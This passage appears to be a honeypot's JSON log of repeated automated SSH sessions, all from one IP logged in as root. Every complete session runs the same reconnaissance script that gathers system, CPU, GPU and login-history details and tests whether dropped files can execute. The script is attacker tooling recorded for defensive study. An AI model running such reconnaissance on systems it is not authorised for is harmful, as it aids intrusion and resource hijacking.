  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:11:25.573292+00:00",
  "ended_at": "2026-08-27T09:11:25.765468+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "703c96ad-55eb-4e40-9533-2706792ffdc7",
  "name": "distant-plucky-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 39736,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:09:36.172137+00:00",
  "ended_at": "2026-08-27T09:09:36.494497+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "8f8c89e5-1efd-4e00-852f-5bfc8a9cb4d2",
  "name": "fierce-arctic-woodcock",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 36596,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:07:53.046684+00:00",
  "ended_at": "2026-08-27T09:07:53.160026+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "feae9b9c-fcd0-40d9-a6bf-4942e772cff4",
  "name": "genial-dappled-gharial",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 33468,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:06:12.813719+00:00",
  "ended_at": "2026-08-27T09:06:13.354579+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "7160e2d2-746b-4bc3-9b8b-e4053e52071b",
  "name": "orderly-nameless-ermine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 58536,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:04:30.369468+00:00",
  "ended_at": "2026-08-27T09:04:31.208151+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "26be28a9-ebb9-48c5-b4fa-2dbc214ea15a",
  "name": "noble-buoyant-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 55364,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:02:42.793658+00:00",
  "ended_at": "2026-08-27T09:02:42.952648+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "2994afaf-9cfc-446b-85b2-2d40a610db1b",
  "name": "plush-rambling-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 52174,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 